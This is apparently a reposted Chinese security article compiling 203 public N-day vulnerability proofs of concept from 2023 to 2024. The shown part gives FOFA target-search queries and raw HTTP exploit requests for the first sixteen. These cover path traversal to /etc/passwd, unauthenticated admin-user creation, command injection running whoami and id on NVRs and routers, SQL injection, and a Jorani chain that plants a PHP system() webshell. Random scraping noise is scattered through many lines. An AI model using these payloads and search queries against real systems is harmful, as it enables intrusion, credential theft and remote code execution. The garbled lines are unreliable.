互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
9 p' P8 ]1 r+ [# a3 s2 v道一安全 2024-06-05 07:41 北京
( E! F( d( Q* n以下文章来源于网络安全新视界 ，作者网络安全新视界
6 k# {  a( t4 T$ X) A: Q' Q
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
! e: d8 S7 C$ i/ F& [" G
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

+ f- D) |+ H) j, o文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

  y2 x; l3 @1 \: c/ E
声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
0 b$ v5 E/ N7 N* p( C% k
6 x% t& g; U- U, C% S9 q有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



目录

01
" P) z" s. {- q) ^, @' N, V
2 b3 w$ S! V5 }, N1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
+ a# P3 l) O. C0 J2 C4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
$ n2 b) f% ]/ O" t* J$ w+ a6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
- J/ w' Q5 ^! Y! r( v' W8. 斐讯 Phicomm 路由器RCE
3 |. P2 V0 U/ t. w  g7 e$ J9. 稻壳CMS keyword 未授权SQL注入
+ h( |0 W7 M( i. u, R$ h( u10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 P  U" z. ?: d. ^+ m11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
  u) h9 ?- I! T# |14. 华夏ERP（jshERP）敏感信息泄露
+ b  Y8 b% z: w5 _- x- i15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
( [' N! U, n, A# |  b; p17. 大华 DSS itcBulletin SQL 注入
) m/ ]* m+ a! N; ?3 |5 }# h# e18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
" c/ O- `/ ~# V3 p20. 大华ICC智能物联综合管理平台任意文件读取
$ I; a6 c" ^+ P21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
, D' K- h* B' r; k# T9 T* N27. 用友 NC showcontent SQL注入
( |  j0 h3 f+ ?  R% ~28. 用友NC grouptemplet 任意文件上传
* z5 F1 r! m7 H: J5 E29. 用友NC down/bill SQL注入
6 F$ Q% t- f, |3 G* }* u30. 用友NC importPml SQL注入
/ }3 w0 c( z: ]3 j3 c* B) I31. 用友NC runStateServlet SQL注入
# e2 C- Y! g& C32. 用友NC complainbilldetail SQL注入
/ h. m0 i/ k' r1 }3 u5 j33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
7 D, D" u: Q6 C+ x' K39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
* t; V! M5 u# W! I41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: P" D# F) w6 v. g$ W44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
0 N+ D+ v/ F6 X* u8 K" A51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
2 s$ l2 d) i2 R$ I; Y: Q" Z7 K+ v2 o52. 泛微E-Office json_common.php sql注入
% i* ?. E* Q) w1 E53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
# \' g5 C3 V0 \2 b8 C56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
6 Q# h1 V% q0 y, u: z# L% L58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
! i- v( ^. N5 q3 Q  ~64. 捷诚管理信息系统CWSFinanceCommon SQL注入
& }1 U2 i6 n& y% R  w. Y65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
1 u! ]8 |0 v# \4 {69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
5 C0 ]  A, t: W: ?& I" F) B73. GeoServer wms远程代码执行
, t7 y4 K9 S! g3 S" J3 u$ r74. 致远M3-server 6_1sp1 反序列化RCE
4 r4 }- [2 Z" G' ~75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
$ ]5 N7 H- j% `77. F22服装管理软件系统UploadHandler.ashx任意文件上传
' b( C) G  U0 |4 R" |$ A. y78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
) x/ T0 w" }( Q0 F; f! G/ p79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
8 p( \2 N' j7 \+ Z9 |) t" T83. JeecgBoot testConnection 远程命令执行
" Y3 x: u( w. |% b/ s84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
3 v" w6 m- V; G+ F4 F7 s) Y87. 安恒明御安全网关aaa_local_web_preview文件上传
+ g7 M! t  m5 g, b: A88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
( m$ M4 ?, w$ {/ f  l% ?& c89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
9 I6 P, M/ N* _7 h- \- d7 X, u91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
: u+ g( ^) n5 [, |/ \6 p% y92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
: c3 Q' G. o$ N2 D) b0 _96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
- A/ }( E( j+ \7 w  T98. SpiderFlow爬虫平台远程命令执行
* X' I& I4 O6 Z% J$ u" J# L99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
8 H0 w( j( d. V" ^1 X102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
7 }. d. e) D( Y6 X' ?103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
! v$ @2 P. [+ W) D7 V2 w106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
% u. @; j- T7 c; v7 Q& a108. D-Tale 3.9.0 SSRF
$ S+ Q' F$ Z# t. r6 F  w  u109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
1 h4 f) d. ?) e( _1 k" @111. WordPress Plugin HTML5 Video Player SQL注入
  q* @. r' j" d% S7 q* t, }# D112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
0 [+ g4 L% f8 m* E& k' Z117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
9 V- m6 ^. h0 D- Q1 n. P: h( O120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
/ X) c  {7 h6 C123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
; u7 Y) e5 O# V8 y8 U125. ConnectWise ScreenConnect身份验证绕过
) n9 G# w) c1 B9 m# _6 C2 p7 `' s126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
. x1 p5 D3 q: t9 ~7 A1 I, e128. Adobe ColdFusion 反序列化
7 k) Y5 J( \) D. @8 {5 c# A129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
6 N* c& {0 `7 U131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
; h8 q; O. u& Y1 e9 L# M135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
( H1 m1 _  a) _" q7 i  J136. NextChat cors SSRF
+ D8 W% [* [% Z8 n137. 福建科立迅通信指挥调度平台down_file.php sql注入
# R5 C" C* F/ x' p! a: l9 K! Z+ D138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
. ?, r0 Z2 W( @& _0 _+ x& q; m140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
, A$ m: @* M4 b7 v142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
  h7 J. {( ?& Q145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
1 v$ R: X% n5 R, e7 c147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
! B, z! U' m, C- I& t8 C150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
! _0 \  T, N& Z) m  B, h152. Progress Kemp LoadMaster 远程命令执行
9 H6 e& ]" `) a. \) ?5 d153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
  `2 N) w  H% z9 W$ @5 H, k155. 六零导航页 file.php 任意文件上传
$ E0 t8 x' u* j- p' d156. TBK DVR-4104/DVR-4216 操作系统命令注入
) A7 h6 }- C3 D5 i! X157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
" D: G; F, n0 o, u! G: K160. Sonatype Nexus Repository 3目录遍历与文件读取
) O, K  m6 G( o& I: B, B161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
& {) g, }0 }8 w; m: z$ w7 p164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
* V% d0 w8 f! i* j; e( R$ i8 b' w166. 中成科信票务管理平台SeatMapHandler SQL注入
0 V' F6 z4 ]0 B  x# ^. ]0 ]7 r167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
. L  H2 q0 E) y5 {1 C: F& c169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
7 S% Y2 g" G9 m8 c172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
; b& L( V2 G6 m174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 b  Z  ~  O$ H9 y7 Z, \175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
/ d. y# M& V/ r; T8 z' I176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
3 b3 X2 ^& L- H178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
* `8 b" Y# X. c/ }# S2 k1 q180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
, I! D! v# h% \7 J7 |183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
9 `+ |0 U. T# c! P185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
# v* v# l/ H9 N+ C187. Mura CMS processAsyncObject SQL注入
7 O: q; C1 ^& ^! X6 l# V0 y188. 叁体-佳会视频会议 attachment 任意文件读取
- d6 l) y& c  _189. 蓝网科技临床浏览系统 deleteStudy SQL注入
9 M  W$ M& k6 S( f& S4 l190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
5 F4 N- @9 d% L1 }! ~/ q195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
1 w  N$ B( |8 q/ A+ o197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
2 I; N, g5 b5 x* P5 }7 T+ Z! o8 o198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
, T3 X) K$ o5 R4 q$ Q+ R# `$ A200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
5 e4 }3 U  O0 Z2 R202. 微擎系统 AccountEdit任意文件上传
" R" K4 ], v5 x- P203. 红海云EHR PtFjk 文件上传

POC列表

, ?5 x: L/ M7 e5 v02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
- f& M* P: s4 D; X6 B) |7 JGET /mem_tracker HTTP/1.1
! `: J4 s! o0 u$ C) KHost: URL
, J. ~* Z+ b1 z( J& X; `5 G
' W6 x! E* V' m0 T7 Y
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
7 U2 |9 [' T' f9 PGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
+ Y) @# {. x. l$ D& z9 F2 IHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
% ?5 b+ E& M6 zHost: xx.xx.xx.xx


% D/ ^4 \2 y7 h3 O) s& ?4. EasyCVR视频管理平台存在任意用户添加
! N! E- C6 z1 h+ LFOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
8 {6 ]) J, \5 H

8 k' [' \$ a/ i% O% t" g# V; q6 w5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
( I$ d# E! a# A0 wGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

  L) n% |! n& k- ^8 I3 r, x
9 Q/ Z& ~" O3 e- s6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
8 n8 n6 m3 ?: O- z3 Z

7. 鸿运主动安全监控云平台任意文件下载
! R  z; I; P2 ^7 ^6 C7 X# C0 @# GFOFA：body="./open/webApi.html"
7 W2 R# d. h3 VGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


8. 斐讯 Phicomm 路由器RCE
# k5 y) Y: j; R) jFOFA：icon_hash="-1344736688"
) H3 C/ s8 v, i+ [4 q# \. Z默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
9 X9 y, _; K+ ~7 VHost: x.x.x.x
0 L2 y7 n3 z* i* n/ Y% qCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
3 ?$ g# b$ ?$ O- {/ o0 ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
& j" n3 F" @8 v4 ]
- S: _' D: k; x" w# B/ _  G' `%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
5 d" N- p& x4 S& \/ z" w, K
12:00; id;
( f% v, f* g( |& K4 j5 m# K------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
3 S6 O+ c) P, }+ E
2 Z! D5 X' V' Y, t; v1 U* d%s:
: R2 @1 }* i2 S" J; c! o------WebKitFormBoundaryxbgjoytz
' J! c9 n; m0 V5 m3 f+ J" xContent-Disposition: form-data; name="cururl2"
' Y$ ?. Z; n' W) O/ T
' }0 E1 x* P( x  q6 O
------WebKitFormBoundaryxbgjoytz--


. g, L- V. Z7 U" R9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

% F+ B' \6 V: i. Z4 w; \9 ^; k
4 I$ P* H" f0 a0 l' n* o, dpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
4 K4 T4 R6 C9 o! }& R' L: J
/ J$ c# \; i5 {4 H10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
4 ^, _& h0 R: |' m4 jFOFA：icon_hash="953405444"

: |) }  ~: g8 G文件上传后响应中包含上传文件的路径
" ~) X0 k3 Q# rPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
9 v! S% L8 ~  u! h. S+ MHost: x.x.x.x:xx
( `3 K* f0 u- rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
* }- J/ m% k: d( s' ~Content-Length: 197
* a6 C# A) O9 ?% [: @! VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 M' z! t3 a6 I9 ^; u7 K7 FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 r' g% m2 Z4 P5 M* i- A- eConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
' i' F6 M2 i( E% b* A! s
------WebKitFormBoundaryxdgaqmqu
2 g, i, C8 `- [+ R; GContent-Disposition: form-data; name="file"filename="icfitnya.txt"
/ G) {% `6 q8 qContent-Type: text/html
7 I. a7 G9 I9 w" h) }0 U9 N1 q
1 S( C. z, h4 p# u$ m8 q$ tjmnqjfdsupxgfidopeixbgsxbf
+ X$ Z6 H* U* M$ X5 z; X------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
8 B7 ?8 X9 I# k" b! V4 t5 T" Q4 lGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
; b7 {1 G# r9 V) t+ j/ _Host: 127.0.0.1
& X6 {% m- G1 w$ N7 dPragma: no-cache
/ n: K) H" `+ O6 U' aCache-Control: no-cache
- B$ W( a& Y! M9 SUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 j4 }* C' v2 z( ~% n, uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
6 o' u& K2 l8 d: W

# {/ D" ]! E6 ?5 w6 d& A8 T% b' Q12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
. b1 A. Q4 M/ C2 L/ q9 T第一步先拿到cookie
GET /session/login HTTP/1.1
  }" d5 S; {3 ]% PHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
2 N' @& X8 Q; H5 U3 W' Q
5 v% t; K0 Z$ A5 Z0 V% l
% r& d; V* M/ v) g' |3 }6 P8 e响应中csrf_cookie_jorani用于后续请求
1 J/ J( `5 @) i: z* E, OHTTP/1.1 200 OK
$ ]2 w( p1 ^' O" [+ I$ N4 gConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
8 p- |% `; @% Y! x0 C% BExpires: Thu, 19 Nov 1981 08:52:00 GMT
3 T' N# M* b$ L3 \" HLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
0 ?& a2 [: z: a! C, e( @3 [. v/ sServer: Apache/2.4.54 (Debian)
# W4 |1 d/ q3 b  Y* W) ^Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
4 \1 l& ]3 U7 M8 e! i& M( xSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
# G! S. f4 ]* Z8 j$ b+ m" YVary: Accept-Encoding
% v2 f3 G# r( h. F! d" \" @/ P
+ H/ u& S( m+ [: N
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
3 V1 \2 i' G' x5 a$ l' ~: ^Host: 192.168.190.30
8 r" S- j6 Z7 f- RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
- }  y! a! E8 iContent-Length: 252
Content-Type: application/x-www-form-urlencoded
1 k. X6 H- z* D- w& v: sCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
  j+ A4 }' ?* R: _Accept-Encoding: gzip
8 h4 X7 p- u- ^6 r% [# m. o" p: C
4 J  B) C- R7 S& [, K) h. Z( o/ a8 rcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
) p# e3 ]& a4 A) h


" g; }* G: H9 |" K! X向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
# I$ y/ [. y! V/ E& A" ?Host: 192.168.190.30
5 l4 H! _; L/ U: ]- TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 f% r4 B, G2 Q2 BConnection: close
/ n* _# [% j8 k" W5 xCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
) |, d0 }) y) L# h+ c) T9 VX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
; S6 H; }5 j  a0 h  ~
/ d1 g3 c! h+ c; ]( n: R+ f
9 M5 \5 t0 Z' [13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
5 A, o$ z/ H% O) [% mGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
1 C& X  \' N" n* q( `) pAccept-Encoding: gzip
' e5 L( P- v: `8 L

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
7 s( O6 @. Z+ o$ ]! MGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
' F! L. e! J0 V" R2 u7 \Connection: close
Accept: */*
  h6 G0 s! X7 k. SAccept-Language: en
Accept-Encoding: gzip

! X  e& _# c7 z
* P, e8 P. k: K$ B15. 华夏ERP getAllList信息泄露
CVE-2024-0490
+ h, m0 w; T1 n  Q- [3 {3 jFOFA：body="jshERP-boot"
泄露内容包括用户名密码
, i- h6 a  d) }! S* t/ a; bGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
9 y4 E, v& [( P" [' ]  l; G( dHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
- x; ]  `$ a) p/ n" a+ r' K% sConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
: q4 L+ A; ^9 M8 [. p  x: u- {" QAccept-Language: en
sec-ch-ua-platform: Windows
8 r2 P" o  L* h. t. R9 W' aAccept-Encoding: gzip
2 H: Z$ \- V: U4 u" a) G3 X
$ i0 p1 A$ u) H  r- x# Y
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
. J4 t9 E, W8 M0 Q- G. lGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
- m9 e; E" x% s; R( R" HConnection: close
2 z5 p) C3 O0 q$ t1 ?1 _Accept: */*
Accept-Language: en
